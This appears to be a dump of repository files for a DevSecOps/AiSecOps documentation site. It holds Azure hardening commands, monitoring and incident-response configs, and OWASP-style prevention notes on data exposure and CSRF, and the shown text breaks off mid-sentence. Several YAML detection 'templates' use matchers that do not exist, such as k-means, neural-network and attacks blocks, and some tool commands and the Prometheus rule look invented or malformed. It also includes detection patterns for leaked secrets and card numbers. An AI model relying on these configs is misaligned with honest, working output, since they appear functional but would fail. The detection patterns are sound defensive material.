    "content": "#!/usr/bin/env ruby\n\ngem_dir = File.expand_path(\"..\",File.dirname(__FILE__))\n$LOAD_PATH.unshift gem_dir # Look in gem directory for resources first.\nexec_type = ARGV[0]\n\nif exec_type == 'rake' then\n    require 'rake'\n    require 'pp'\n    pwd=Dir.pwd\n    Dir.chdir(gem_dir) # We'll load rakefile from the gem's dir.\n    Rake.application.init\n    Rake.application.load_rakefile\n    Dir.chdir(pwd) # Revert to original pwd for any path args passed to task.\n    Rake.application.invoke_task(ARGV[1])\nend\n"
  },
  {
    "path": "docker-compose.yml",
    "content": "version: \"3.5\"\n\nservices:\n  jekyll:\n    build:\n      context: ./\n    ports:\n      - 4000:4000\n    volumes:\n      - .:/usr/src/app\n    stdin_open: true\n    tty: true\n    command: bundle exec jekyll serve -H 0.0.0.0 -t\n\n"
  },
  {
    "path": "docs/aisecops/aisecops.md",
    "content": "---\nlayout: default\ntitle: AiSecOps\nnav_order: 8\nhas_children: true\npermalink: docs/aisecops\n---\n\n# AiSecOps\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/aisecops/azure.md",
    "content": "---\nlayout: default\ntitle: Azure\nparent: AiSecOps\n---\n\n# Azure \n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n\n## Automate compliance in Azure using OpenAI\n\n\n\n- [ ] Azure Policy\n\nAzure Policy is a service that enables you to create, assign, and enforce policies across your Azure environment. It helps you maintain compliance by defining and enforcing rules and regulations.\n\n```\naz policy assignment create --name <assignment-name> --scope <scope> --policy <policy-definition-id>\n```\n\n\n\n\n- [ ] Azure Security Center\n\nAzure Security Center provides a unified view of security across your Azure resources. It offers recommendations and security alerts to help you identify and address security vulnerabilities and compliance issues.\n\n```\naz security assessment create --name <assessment-name> --resource-group <resource-group> --scopes <scopes> --standard-name <standard-name>\n```\n\n\n\n\n\n- [ ] Azure DevOps Pipelines\n\nAzure DevOps Pipelines is a CI/CD platform that allows you to automate the build, test, and deployment processes of your applications and infrastructure.\n\n```\n- task: AzureCLI@2\n  displayName: 'Run compliance check'\n  inputs:\n    azureSubscription: '<subscription>'\n    scriptLocation: 'inlineScript'\n    inlineScript: |\n      # Run compliance check command here\n```\n\n\n## Logical Storage Isolation\n\n\n\n\n- [ ] Azure Storage Accounts\n\nAzure Storage Accounts provide a scalable and secure storage solution in Azure. You can create multiple storage accounts to achieve logical isolation of your data.\n\n```\naz storage account create --name <storage-account-name> --resource-group <resource-group> --location <location> --kind StorageV2 --sku Standard_LRS\n```\n\n\n\n- [ ] Azure Virtual Networks\n\nAzure Virtual Networks allow you to create isolated network environments within Azure. You can associate your storage accounts with specific virtual networks to achieve logical network isolation.\n\n```\naz network vnet create --name <virtual-network-name> --resource-group <resource-group> --location <location> --address-prefixes 10.0.0.0/16\n```\n\n\n\n- [ ] Azure RBAC (Role-Based Access Control)\n\nAzure RBAC enables you to manage access to Azure resources. By assigning appropriate roles and permissions, you can control who has access to your storage accounts and enforce logical access controls.\n\n```\naz role assignment create --assignee <user-or-group-id> --role <role-name> --scope <scope>\n```\n\n\n\n\n## Enable encryption at rest\n\n\n\n\n- [ ] Azure Storage Service Encryption\n\nAzure Storage Service Encryption automatically encrypts your data at rest in Azure Storage Accounts. It uses Microsoft-managed keys to provide seamless encryption without any additional configuration.\n\n```\naz storage account update --name <storage-account-name> --resource-group <resource-group> --encryption-services blob --encryption-key-type Account --encryption-key-source Microsoft\n```\n\n\n\n- [ ] Azure Disk Encryption\n\nAzure Disk Encryption enables you to encrypt the OS and data disks of Azure Virtual Machines. It uses Azure Key Vault to securely store and manage the encryption keys.\n\n```\naz vm encryption enable --name <vm-name> --resource-group <resource-group> --disk-encryption-keyvault <key-vault-name> --volume-type all\n```\n\n\n\n- [ ] Azure Key Vault\n\nAzure Key Vault is a centralized cloud service for managing and safeguarding cryptographic keys, certificates, and secrets. You can use Key Vault to manage encryption keys used for encryption at rest in Azure.\n\n```\naz keyvault create --name <key-vault-name> --resource-group <resource-group> --location <location>\n```\n\n\n\n## Encryption in transit \n\n\n\n\n- [ ] Azure Application Gateway\n\n\nAzure Application Gateway is a web traffic load balancer that enables SSL termination at the gateway to ensure secure communication between clients and the backend servers.\n\n```\naz network application-gateway create --name <app-gateway-name> --resource-group <resource-group> --frontend-ip-name <frontend-ip-name> --http-settings-cookie-based-affinity Disabled --http-settings-protocol Https --frontend-port 443 --http-settings-port 443 --ssl-cert <ssl-cert-name> --servers <backend-server-ips> --sku Standard_v2 --public-ip-address <public-ip-name> --subnet <subnet-name> --vnet-name <vnet-name>\n```\n\n\n\n- [ ] Azure Load Balancer\n\nAzure Load Balancer distributes incoming network traffic across multiple resources to improve availability and scale applications. You can configure a Load Balancer with SSL/TLS termination to enable encryption in transit.\n\n```\naz network lb create --name <load-balancer-name> --resource-group <resource-group> --frontend-ip-name <frontend-ip-name> --backend-pool-name <backend-pool-name> --public-ip-address <public-ip-name> --protocol Tcp --frontend-port 443 --backend-port 443 --enable-tcp-reset --sku Standard\n```\n\n\n\n- [ ] Azure Traffic Manager\n\nAzure Traffic Manager enables you to distribute incoming traffic across multiple endpoints in different regions or Azure Availability Zones. It supports SSL/TLS termination at the Traffic Manager level to ensure secure communication.\n\n```\naz network traffic-manager profile create --name <tm-profile-name> --resource-group <resource-group> --routing-method Priority --unique-dns-name <unique-dns-name> --protocol Https --port 443 --path /\n```\n\n\n\n\n\n## Customer-Managed Keys\n\n\n\n\n- [ ] Azure Key Vault\n\n\nAzure Key Vault is a cloud service that enables you to safeguard and control cryptographic keys, secrets, and certificates used by your applications and services.\n\n```\naz keyvault create --name <key-vault-name> --resource-group <resource-group> --location <location>\n```\n\n\n\n- [ ] Azure Disk Encryption\n\n\n\nAzure Disk Encryption provides encryption at rest for virtual machine disks by using keys and secrets stored in Azure Key Vault.\n\n\n```\naz vm encryption enable --name <vm-name> --resource-group <resource-group> --disk-encryption-keyvault <key-vault-url> --volume-type [OS|Data] --volume-encryption-keyvault <key-vault-url>\n```\n\n\n\n- [ ] Azure Disk Encryption Set\n\n\nAzure Disk Encryption Set is a grouping of Azure managed disks that share the same encryption settings and policies.\n\n```\naz disk encryption-set create --name <encryption-set-name> --resource-group <resource-group> --source-vault <key-vault-url> --encryption-key <encryption-key-url> --key-encryption-key <key-encryption-key-url>\n```\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/aisecops/biasandfairness.md",
    "content": "---\nlayout: default\ntitle: Bias and Fairness\nparent: AiSecOps\n---\n\n# Bias and Fairness\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\nAddressing issues related to bias and fairness in AI systems. This includes identifying and mitigating biases in training data, evaluating and measuring fairness metrics, and ensuring equitable outcomes across different demographic groups or protected classes.\n\n\n\n\n## General Attack Detection via Suricata and OSSEC\n\n\n```\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: attack-detection\ndata:\n  suricata.yaml: |\n    vars:\n      address-groups:\n        INTERNAL_NET: \"[192.168.0.0/16, 10.0.0.0/8]\"\n    rule-files:\n      - botnet.rules\n      - malware.rules\n      - exploit.rules\n      # Add more rule files as needed\n    sensors:\n      - interface: eth0\n        address-groups:\n          - INTERNAL_NET\n\n  ossec.conf: |\n    <ossec_config>\n      <rules>\n        <include>rules/local_rules.xml</include>\n        <!-- Add more rule includes as needed -->\n      </rules>\n      <syscheck>\n        <directories check_all=\"yes\">/etc,/usr/bin</directories>\n        <directories check_all=\"yes\">/var/www,/var/log</directories>\n        <!-- Add more directories to monitor as needed -->\n      </syscheck>\n    </ossec_config>\n```\n\nIn this example, we have configured Suricata to detect attacks on network traffic by providing rule files (`botnet.rules`, `malware.rules`, `exploit.rules`, etc.) and specifying the internal network address range (`INTERNAL_NET`) for analysis. OSSEC is configured to monitor system directories (`/etc`, `/usr/bin`, `/var/www`, etc.) for file integrity and log analysis to detect host-based attacks.\n\n\n\n\n\n\n## Failure Detection via Prometheus and Grafana\n\n\n```\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: failure-detection\ndata:\n  prometheus.yml: |\n    global:\n      scrape_interval: 15s\n    scrape_configs:\n      - job_name: network-failure-detection\n        metrics_path: /metrics\n        static_configs:\n          - targets:\n              - network-failure-detection-service:8080\n      - job_name: storage-failure-detection\n        metrics_path: /metrics\n        static_configs:\n          - targets:\n              - storage-failure-detection-service:8080\n```\n\nIn this example, we have configured Prometheus to scrape metrics from two different services: `network-failure-detection-service` and `storage-failure-detection-service`. Each service exposes metrics through the `/metrics` endpoint, which Prometheus collects and analyzes. Grafana can be used to visualize the collected metrics and set up alerts based on predefined rules or thresholds.\n\n\n\n\n\n## Monitoring System via Failover Plan\n\nAutomate the monitoring of critical systems and implement a failover plan for high availability using tools like Nagios and Pacemaker.\n\n\n\n- [ ] Install and configure Nagios for system monitoring and Pacemaker for high availability failover.\n\n```\n# Install Nagios\nsudo apt-get install nagios4\n\n# Configure Nagios\nsudo vi /etc/nagios4/nagios.cfg\n\n# Install Pacemaker\nsudo apt-get install pacemaker\n\n# Configure Pacemaker\nsudo crm configure\n```\n\n- [ ] Define Monitoring Checks\n\n\nDefine monitoring checks in Nagios to monitor critical systems, such as servers, network devices, and databases.\n\n```\n# Define a new monitoring check in Nagios\nsudo vi /etc/nagios4/conf.d/commands.cfg\n\n# Configure the monitoring check\ndefine command {\n    command_name    check_critical_system\n    command_line    /usr/lib/nagios/plugins/check_critical_system.sh\n}\n\n# Define a new service check for a critical system\nsudo vi /etc/nagios4/conf.d/services.cfg\n\n# Configure the service check\ndefine service {\n    host_name             critical_system\n    service_description  CPU Usage\n    check_command         check_critical_system\n}\n```\n\n\n- [ ] Implement High Availability Failover\n\nConfigure Pacemaker to implement high availability failover for critical systems.\n\n```\n# Configure Pacemaker to manage the resources\nsudo crm configure\n\n# Create a new resource group for the critical system\nsudo crm configure primitive critical_system ocf:heartbeat:IPaddr2 params ip=\"192.168.1.100\" cidr_netmask=\"24\" op monitor interval=\"30s\"\n\n# Configure a colocation constraint to ensure the critical system resource is running on the active node\nsudo crm configure colocation critical_system_on_active inf: critical_system cluster-attrd\n```\n\n\n\n\n- [ ] Monitoring and Failover Testing\n\nMonitor the critical systems using Nagios and test the failover capabilities of the Pacemaker cluster.\n\n\n```\n# Start Nagios service\nsudo systemctl start nagios\n\n# Monitor critical systems using Nagios web interface\n\n# Simulate a critical system failure to trigger failover\nsudo crm resource stop critical_system\n```\n\n\n\n\n- [ ] Failback and Recovery\n\nPerform failback and recovery procedures once the critical system is restored.\n\n\n```\n# Bring the critical system back online\nsudo crm resource start critical_system\n\n# Monitor the system and verify successful failback\nsudo systemctl status critical_system\n```\n\n\n\n\n\n\n\n## Smart Alerts\n\n\nAutomate intelligent alerting based on predefined rules and thresholds using tools like Prometheus and Alertmanager.\n\n\n\n\n\n- [ ] Installation and Configuration\n\nInstall and configure Prometheus for monitoring and Alertmanager for intelligent alerting.\n\n```\n# Install Prometheus\nwget https://github.com/prometheus/prometheus/releases/download/v2.30.3/prometheus-2.30.3.linux-amd64.tar.gz\ntar xvfz prometheus-2.30.3.linux-amd64.tar.gz\ncd prometheus-2.30.3.linux-amd64/\n./prometheus\n\n# Install Alertmanager\nwget https://github.com/prometheus/alertmanager/releases/download/v0.23.0/alertmanager-0.23.0.linux-amd64.tar.gz\ntar xvfz alertmanager-0.23.0.linux-amd64.tar.gz\ncd alertmanager-0.23.0.linux-amd64/\n./alertmanager\n```\n\n\n\n\n- [ ] Define Alerting Rules\n\nDefine alerting rules in Prometheus to monitor metrics and trigger alerts based on predefined thresholds.\n\n\n```\n# Define alerting rules in Prometheus configuration file\nsudo vi /etc/prometheus/prometheus.yml\n\n# Example alerting rule for high CPU usage\nalert: HighCPUUsage\n  expr: node_cpu_usage > 90\n  for: 5m\n  labels:\n    severity: critical\n  annotations:\n    summary: High CPU Usage Alert\n    description: The CPU usage is above the threshold (90%) for 5 minutes.\n```\n\n\n\n\n- [ ] Configure Alertmanager\n\nConfigure Alertmanager to receive alerts from Prometheus and send notifications via various channels (e.g., email, Slack).\n\n```\n# Configure Alertmanager\nsudo vi /etc/alertmanager/alertmanager.yml\n\n# Example configuration for email notifications\nreceivers:\n  - name: 'email-notifications'\n    email_configs:\n    - to: 'admin@example.com'\n      from: 'alertmanager@example.com'\n      smarthost: 'smtp.example.com:587'\n      auth_username: 'username'\n      auth_password: 'password'\n```\n\n\n\n\n- [ ] Testing Alerting Rules\n\nSimulate metric violations to test the alerting rules and ensure alerts are triggered correctly.\n\n```\n# Generate high CPU usage for testing\nstress --cpu 4 --timeout 300\n\n# Verify that the HighCPUUsage alert is triggered\ncurl http://localhost:9090/api/v1/alerts\n```\n\n\n\n- [ ] Notification and Escalation\n\nDefine notification and escalation procedures to ensure alerts are received and acted upon in a timely manner.\n\n```\n# Implement additional notification channels (e.g., Slack, PagerDuty) in Alertmanager configuration file\nsudo vi /etc/alertmanager/alertmanager.yml\n\n# Example configuration for Slack notifications\nreceivers:\n  - name: 'slack-notifications'\n    slack_configs:\n    - api_url: 'https://hooks.slack.com/services/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX'\n      channel: '#alerts'\n```\n\n\n\n\n\n\n\n## Incident Response Automation\n\nAutomate incident response processes using tools like TheHive or Demisto.\n\n\n\n\n- [ ] Automate Incident Creation\n\nSet up integrations to automatically create incidents in TheHive when security events or alerts are detected.\n\n\n```\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"title\": \"New Incident\", \"description\": \"This is a new incident\", \"severity\": 2}' http://<thehive_server>:9000/api/case\n```\n\n\nor\n\n\n```\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"incidentName\": \"New Incident\", \"severity\": 2, \"description\": \"This is a new incident\"}' http://<demisto_server>:8443/api/v2/incidents\n```\n\n\n\n\n- [ ] Automate Incident Triage\n\nDefine automated workflows and playbooks in TheHive to triage and classify incidents based on predefined criteria.\n\n* Define custom analyzer scripts in TheHive to automatically analyze incoming incidents using supported languages like Python.\n* Create case templates and associated response playbooks to guide the incident triage process.\n\n\n\n\n\n\n- [ ] Automate Incident Response\n\nIntegrate TheHive with other security tools and orchestration platforms to automate incident response actions.\n\n```\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"type\": \"firewall_block\", \"source\": \"192.168.1.100\", \"destination\": \"www.example.com\", \"action\": \"block\"}' http://<thehive_server>:9000/api/cortex/analyzer\n```\n\n\nor\n\n```\ncurl -X POST -H \"Content-Type: application/json\" -d '{\"action\": \"block\", \"ip\": \"192.168.1.100\"}' http://<demisto_server>:8443/api/v2/automations/firewall_block\n```\n\n\n\n\n\n\n\n## Security Configuration Management\n\nAutomate security configuration management using tools like Ansible or Puppet.\n\n\n\n\n## Compliance Monitoring and Reporting\n\nAutomate compliance monitoring and reporting using tools like OpenSCAP or Wazuh.\n\n\n\n```\n#!/bin/bash\n\n# Define the target hosts\nHOSTS=(host1 host2 host3)\n\n# Define the output directory\nOUTPUT_DIR=\"/path/to/output/directory\"\n\n# Loop through the target hosts\nfor host in \"${HOSTS[@]}\"; do\n    # Run OpenSCAP scan on the host and generate the report\n    oscap xccdf eval --profile C2S --results \"$OUTPUT_DIR/$host-report.xml\" --report \"$OUTPUT_DIR/$host-report.html\" \"xccdf_file.xml\" \"ssh://$host\"\ndone\n```\n\n\nor\n\n\n```\n#!/bin/bash\n\n# Define the target hosts\nHOSTS=(host1 host2 host3)\n\n# Define the output directory\nOUTPUT_DIR=\"/path/to/output/directory\"\n\n# Loop through the target hosts\nfor host in \"${HOSTS[@]}\"; do\n    # Run Wazuh agent scan on the host\n    wazuh-agent -c check-compliance -q -i \"$host\" > \"$OUTPUT_DIR/$host-compliance.txt\"\ndone\n```\n\n\n\n## Threat Intelligence Integration\n\nAutomate the integration of threat intelligence feeds using tools like MISP or STIX/TAXII.\n\n\n```\n#!/bin/bash\n\n# Set the MISP URL and API key\nMISP_URL=\"https://your-misp-instance.com\"\nAPI_KEY=\"your-misp-api-key\"\n\n# Define the path to the threat intelligence feed file\nFEED_FILE=\"/path/to/threat-intelligence-feed.json\"\n\n# Import the threat intelligence feed into MISP\nmisp-import -u \"$MISP_URL\" -k \"$API_KEY\" -i \"$FEED_FILE\"\n```\n\n\n## Security Log Analysis\n\nAutomate the analysis of security logs using tools like ELK Stack (Elasticsearch, Logstash, Kibana) or Splunk.\n\n\n\n- [ ] Anomaly Detection in User Access Logs\n\nUse AI algorithms to detect anomalies in user access logs, such as unusual login patterns, unexpected IP addresses, or abnormal resource access.\n\n```\nid: anomaly-detection\ninfo:\n  name: Anomaly Detection in User Access Logs\n  author: Your Name\n  severity: medium\nrequests:\n  - method: GET\n    path: /logs/access\n    matchers-condition: and\n    matchers:\n      - anomaly-detection:\n          field: user\n          algorithm: k-means\n          threshold: 3\n```\n\n\n\n\n- [ ] Detection of Brute Force Attacks\n\nApply AI-based algorithms to identify patterns indicative of brute force attacks in authentication logs.\n\n\n\n```\nid: brute-force-detection\ninfo:\n  name: Detection of Brute Force Attacks\n  author: Your Name\n  severity: high\nrequests:\n  - method: POST\n    path: /logs/authentication\n    matchers-condition: and\n    matchers:\n      - brute-force-detection:\n          field: username\n          threshold: 5\n```\n\n\n\n- [ ] Identification of SQL Injection Attempts\n\nUtilize AI techniques to detect suspicious SQL injection attempts in database logs.\n\n\n\n```\nid: sql-injection-detection\ninfo:\n  name: Identification of SQL Injection Attempts\n  author: Your Name\n  severity: high\nrequests:\n  - method: POST\n    path: /logs/database\n    matchers-condition: and\n    matchers:\n      - sql-injection-detection:\n          field: query\n          algorithm: neural-network\n          threshold: 0.8\n```\n\n\n- [ ] Malware Detection in File Transfer Logs\n\nApply AI algorithms to identify potential malware or malicious files in file transfer logs.\n\n\n```\nid: malware-detection\ninfo:\n  name: Malware Detection in File Transfer Logs\n  author: Your Name\n  severity: medium\nrequests:\n  - method: GET\n    path: /logs/file-transfer\n    matchers-condition: and\n    matchers:\n      - malware-detection:\n          field: filename\n          algorithm: machine-learning\n          threshold: 0.9\n```\n\n\n\n\n\n- [ ] Detection of Abnormal Network Traffic\n\nUtilize AI-based algorithms to detect abnormal network traffic patterns in network logs.\n\n\n\n```\nid: abnormal-traffic-detection\ninfo:\n  name: Detection of Abnormal Network Traffic\n  author: Your Name\n  severity: high\nrequests:\n  - method: GET\n    path: /logs/network\n    matchers-condition: and\n    matchers:\n      - abnormal-traffic-detection:\n          field: source_ip\n          algorithm: deep-learning\n          threshold: 0.95\n```\n\n\n\n\n\n\n\n\n\n## Automated Security Testing\n\n\nAutomate security testing processes like vulnerability scanning, penetration testing, or code review using tools like OWASP ZAP, Burp Suite, or SonarQube.\n\n\n\n\n\n- [ ] API Security Testing\n\nAutomate security testing of APIs using AI algorithms to identify vulnerabilities such as injection attacks, broken authentication, or insecure direct object references.\n\n\n```\nid: api-security-testing\ninfo:\n  name: API Security Testing\n  author: Your Name\n  severity: high\nrequests:\n  - method: POST\n    path: /api/{endpoint}\n    matchers-condition: and\n    matchers:\n      - injection-attack:\n          fields: [payload, headers]\n      - broken-authentication:\n          field: headers.authorization\n      - insecure-direct-object-references:\n          fields: [params.id, body.id]\n```\n\n\n\n\n\n- [ ] Web Application Security Testing\n\nAutomate security testing of web applications using AI algorithms to identify vulnerabilities such as cross-site scripting (XSS), SQL injection, or insecure deserialization.\n\n\n```\nid: web-app-security-testing\ninfo:\n  name: Web Application Security Testing\n  author: Your Name\n  severity: high\nrequests:\n  - method: POST\n    path: /app/{page}\n    matchers-condition: and\n    matchers:\n      - cross-site-scripting:\n          field: body\n      - sql-injection:\n          field: params.query\n      - insecure-deserialization:\n          field: body\n```\n\n\n\n\n\n- [ ] Network Vulnerability Scanning\n\nAutomate vulnerability scanning of network infrastructure using AI algorithms to identify vulnerabilities such as open ports, weak configurations, or outdated software.\n\n\n```\nid: network-vulnerability-scanning\ninfo:\n  name: Network Vulnerability Scanning\n  author: Your Name\n  severity: medium\nrequests:\n  - method: GET\n    path: /network/{host}\n    matchers-condition: and\n    matchers:\n      - open-ports:\n          field: params.ports\n      - weak-configurations:\n          field: headers\n      - outdated-software:\n          field: body\n```\n\n\n\n\n\n- [ ] Mobile Application Security Testing\n\nAutomate security testing of mobile applications using AI algorithms to identify vulnerabilities such as insecure data storage, sensitive information leakage, or insecure communication.\n\n```\nid: mobile-app-security-testing\ninfo:\n  name: Mobile Application Security Testing\n  author: Your Name\n  severity: high\nrequests:\n  - method: POST\n    path: /app/{endpoint}\n    matchers-condition: and\n    matchers:\n      - insecure-data-storage:\n          field: body\n      - sensitive-information-leakage:\n          field: body\n      - insecure-communication:\n          field: headers\n```\n\n\n\n\n\n- [ ] Cloud Infrastructure Security Testing\n\nAutomate security testing of cloud infrastructure using AI algorithms to identify vulnerabilities such as misconfigured permissions, exposed storage, or weak authentication mechanisms.\n\n\n```\nid: cloud-infra-security-testing\ninfo:\n  name: Cloud Infrastructure Security Testing\n  author: Your Name\n  severity: high\nrequests:\n  - method: GET\n    path: /cloud/{service}\n    matchers-condition: and\n    matchers:\n      - misconfigured-permissions:\n          field: body\n      - exposed-storage:\n          field: params.bucket\n      - weak-authentication:\n          field: headers.authorization\n      - insecure-network-config:\n          field: params.vpc_id\n```\n\n\n\n\n## Selefra: open-source policy-as-code software that offers analytics for multi-cloud and SaaS environments\n\n- [ ] Configure Selefra:\n\n```\n$ selefra configure --provider <provider-name> --credentials <path-to-credentials-file>\n```\n\n- [ ] Create a Policy:\n\n\n\n```\n# policy.yaml\nmetadata:\n  name: S3BucketPolicyCheck\nrules:\n  - name: Ensure S3 bucket policy exists\n    resource_type: aws_s3_bucket_policy\n    condition: resource.exists()\n```\n\n\n- [ ] Run Policy Check:\n\n\n\n```\n$ selefra check --policy policy.yaml --resources <path-to-resources>\n```\n\n\n- [ ] View Policy Violations:\n\n\n\n```\n$ selefra violations --policy policy.yaml --resources <path-to-resources>\n```\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/aisecops/driver.md",
    "content": "---\nlayout: default\ntitle: Driver\nparent: AiSecOps\n---\n\n# Driver\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## OWASP Top 10 LLM\n\nThe OWASP Top 10 for Large Language Model Applications is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to Large Language Model (LLM) applications.\n\n\nhttps://github.com/OWASP/www-project-top-10-for-large-language-model-applications"
  },
  {
    "path": "docs/attacks/application.md",
    "content": "---\nlayout: default\ntitle: Application Attacks\nparent: Attacks\n---\n\n# Application Attacks\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### Exposure of sensitive information\n\nExposure of sensitive information refers to the unintentional or unauthorized disclosure of confidential or private data to individuals or systems that are not supposed to have access to it. This can occur through various means, such as insecure storage, transmission, or handling of sensitive data.\n\nSensitive information can include personally identifiable information (PII) like names, addresses, social security numbers, financial data, login credentials, medical records, or any other data that, if exposed, could lead to identity theft, financial loss, or other harmful consequences.\n\nTo prevent exposure of sensitive information, it is important to implement appropriate security measures. Here are some preventive measures:\n\n1. Data classification: Classify your data based on sensitivity and define access controls accordingly. Identify and categorize sensitive information so that you can apply stronger security measures to protect it.\n\n1. Secure storage: Use secure storage mechanisms to protect sensitive data, such as encryption, hashing, or tokenization. Ensure that data is stored in a secure environment, whether it's in databases, file systems, or other storage mediums.\n\n1. Secure transmission: Implement secure communication protocols, such as HTTPS, SSL/TLS, or other encryption mechanisms, when transmitting sensitive data over networks. This helps prevent eavesdropping or unauthorized interception of data during transit.\n\n1. Access controls: Implement strong access controls to limit access to sensitive information. Use authentication and authorization mechanisms to ensure that only authorized individuals or systems can access and modify sensitive data.\n\n1. Secure coding practices: Follow secure coding practices to avoid common vulnerabilities, such as injection attacks or insecure direct object references. Validate and sanitize user input to prevent malicious data from being processed or displayed.\n\n1. Secure configuration: Ensure that your systems and applications are securely configured, including the use of strong passwords, disabling unnecessary services or features, and regularly updating and patching software to address security vulnerabilities.\n\n1. Regular security assessments: Conduct regular security assessments, including vulnerability scanning and penetration testing, to identify any potential weaknesses or vulnerabilities that could lead to the exposure of sensitive information.\n\n1. Employee training and awareness: Train your employees on security best practices, including how to handle sensitive information, the importance of data protection, and how to recognize and report security incidents or suspicious activities.\n\n1. Data minimization: Collect and retain only the necessary data. Avoid storing or keeping sensitive information for longer than necessary.\n\n1. Privacy by design: Incorporate privacy and security considerations into the design and development of your systems and applications. Implement privacy-enhancing technologies and practices from the outset.\n\nBy implementing these preventive measures and adopting a comprehensive approach to data security, you can significantly reduce the risk of sensitive information exposure and protect the privacy and confidentiality of your data.\n\n\n\n```\nid: exposure-sensitive-information\ninfo:\n  name: Exposure of Sensitive Information\n  author: Your Name\n  severity: medium\n  description: Detects potential exposure of sensitive information in web applications.\n  references:\n    - https://example.com\ntags:\n  - web\n  - sensitive-information\nrequests:\n  - name: Exposed Secrets\n    path:\n      - /\n      - /admin\n    matchers:\n      - type: word\n        words:\n          - api_key\n          - password\n          - secret_key\n    attacks:\n      - type: word\n        words:\n          - error\n          - unauthorized\n      - type: word\n        words:\n          - access denied\n          - forbidden\n```\n\n\n\n\n### Insertion of Sensitive Information Into Sent Data\n\nInsertion of sensitive information into sent data refers to the inadvertent inclusion of confidential or private data into logs, error messages, debug output, or any other form of data that is sent or logged externally. This can occur when sensitive information, such as passwords, API keys, or personally identifiable information (PII), is included in plaintext or unencrypted form, making it accessible to unauthorized individuals or systems.\n\nTo prevent the insertion of sensitive information into sent data, you can follow these preventive measures:\n\n1. Data masking: Avoid including sensitive information in logs, error messages, or any other form of output. Implement data masking techniques, such as replacing sensitive data with placeholders or obfuscating it, to prevent the exposure of sensitive information.\n\n1. Secure logging: Configure logging mechanisms to exclude sensitive information from being logged. Implement proper log filtering or redaction techniques to remove or mask sensitive data before it is written to log files.\n\n1. Context-based logging: When logging or outputting data, consider the context and purpose of the logged information. Exclude any unnecessary or sensitive data from being included in the logs or output.\n\n1. Tokenization or encryption: If it is necessary to include sensitive information in logs or output for debugging or troubleshooting purposes, tokenize or encrypt the sensitive data to render it unreadable. Ensure that only authorized individuals or systems have access to the keys or tokens required for decryption.\n\n1. Secure error handling: When handling errors, avoid displaying sensitive information in error messages presented to users. Instead, provide generic error messages that do not reveal specific details about the underlying sensitive data or system.\n\n1. Secure coding practices: Follow secure coding practices to prevent unintentional insertion of sensitive information into sent data. Ensure that sensitive data is properly handled, encrypted, or obfuscated throughout the application's lifecycle.\n\n1. Data separation: Consider separating sensitive data from other non-sensitive data, both in storage and during transmission. Implement proper data segregation mechanisms to reduce the risk of sensitive information being inadvertently included in sent data.\n\n1. Regular code reviews and testing: Conduct regular code reviews and security testing to identify any potential areas where sensitive information might be included in sent data. Perform thorough testing to ensure that sensitive data is not exposed during normal system operations or error conditions.\n\n1. Employee training and awareness: Train your development team and system administrators about the importance of handling sensitive information securely. Educate them on best practices for data protection and the potential risks associated with the insertion of sensitive information into sent data.\n\nBy implementing these preventive measures, you can reduce the risk of sensitive information being inadvertently included in sent data, protecting the confidentiality and privacy of your data and minimizing the potential impact of a security breach.\n\n\n\n```\nid: insertion-sensitive-information\ninfo:\n  name: Insertion of Sensitive Information Into Sent Data\n  author: Your Name\n  severity: high\n  description: Detects potential insertion of sensitive information into sent data in web applications.\n  references:\n    - https://example.com\ntags:\n  - web\n  - sensitive-information\nrequests:\n  - name: Email Leakage\n    path:\n      - /\n      - /login\n    matchers:\n      - type: word\n        words:\n          - email\n    attacks:\n      - type: word\n        words:\n          - @example.com\n      - type: word\n        words:\n          - .com\n          - .net\n  - name: Credit Card Data Leakage\n    path:\n      - /checkout\n    matchers:\n      - type: regex\n        part: body\n        words:\n          - '[0-9]{16}'\n          - '[0-9]{4}-[0-9]{4}-[0-9]{4}-[0-9]{4}'\n    attacks:\n      - type: word\n        words:\n          - found\n          - exposed\n```\n\n\n\n### Cross-Site Request Forgery (CSRF)\n\n\nCross-Site Request Forgery (CSRF) is a type of web vulnerability where an attacker tricks a victim into unknowingly executing unwanted actions on a web application in which the victim is authenticated. The attack occurs when the victim visits a malicious website or clicks on a specially crafted link, resulting in unauthorized actions being performed on their behalf on the targeted web application.\n\nTo prevent Cross-Site Request Forgery attacks, you can follow these preventive measures:\n\n1. CSRF tokens: Implement CSRF tokens as a defense mechanism. Include a unique token in each HTML form or request that modifies state on the server. This token should be validated on the server-side to ensure that the request is legitimate and originated from the same site.\n\n1. Same-Site cookies: Set the SameSite attribute on your session cookies to Strict or Lax. This prevents cookies from being sent in cross-origin requests, effectively mitigating CSRF attacks.\n\n1. Anti-CSRF frameworks: Utilize anti-CSRF frameworks or libraries provided by your web development framework. These frameworks often automate the generation and validation of CSRF tokens, making it easier to implement and maintain protection against CSRF attacks.\n\n1. Unique session identifiers: Ensure that each user session has a unique identifier. This helps prevent session fixation attacks, which could be used in combination with CSRF attacks.\n\n1. Request validation: Validate the integrity and authenticity of incoming requests on the server-side. Check for the presence and correctness of CSRF tokens, referer headers, or other request attributes that can help identify the origin of the request.\n\n1. Strict access controls: Enforce strict access controls on sensitive operations and resources. Implement proper authentication and authorization mechanisms to ensure that only authorized users can perform critical actions.\n\n1. User awareness: Educate your users about the risks of CSRF attacks and encourage them to be cautious when clicking on links or visiting unfamiliar websites. Provide guidance on recognizing and reporting suspicious behavior.\n\n1. Secure coding practices: Follow secure coding practices to minimize the risk of introducing vulnerabilities. Validate and sanitize user input, implement proper access controls, and regularly update and patch your software to address any potential security 